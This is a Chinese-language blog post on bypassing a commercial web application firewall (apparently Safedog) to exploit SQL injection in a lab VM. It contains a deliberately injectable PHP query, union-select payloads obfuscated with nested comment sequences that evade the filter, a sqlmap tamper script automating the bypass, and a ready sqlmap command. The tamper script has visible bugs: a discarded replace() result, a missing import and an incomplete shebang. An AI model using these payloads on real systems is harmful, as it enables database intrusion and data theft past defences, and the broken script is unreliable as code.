1.前言
最近看到不少过WAF的文章,想自己也过一次最新版WAF,先从某狗入手。
2.测试环境
xp虚拟机+phpstudy+某狗最新版
3.编写注入点
$id=$_GET['id'];
$sql="SELECT id,username,password FROM users WHERE id=$id LIMIT 0,1";
echo "
";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
3.bypass测试
a.将空格替换成/*/*!*//**//*!*/ and/*/*!*//**//*!*/1=1 不拦截
b.id=-1 union/*/*!*//**//*!*/select 1,2,3 不拦截
c.id=-1 union/*/*!*//**//*!*/select 1,user(),3 拦截
d.id=-1 union/*/*!*//**//*!*/select 1,user/*/*!*//**//*!*/(),3 不拦截,并获取到数据
4.总结
1.某狗对特殊字符格式的注释未能正确识别,因此可以在关键字中间添加/*/*!*//**//*!*/ 来过某狗的检测;
2.mysql关键字中是不能插入/**/的,se/**/lect会报错,但是函数名和括号之间是可以加上/**/的,类似user/**/()这样的代码可以在mysql数据库中执行。
5.sqlmap --tamper编写
dog.py
#!/usr/bin/env
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace(" ", "/*/*!*//**//*!*/")
payload.replace("()","/*/*!*//**//*!*/()")
return payload
sqlmap注入:python sqlmap.py -u "http://192.168.63.129/connect.php?id=" --tamper dog.py -v 3 --random-agent --dbs
注:安全狗需关闭CC防御功能
如需转载请标明湖南网信测评
领取专属 10元无门槛券
私享最新 技术干货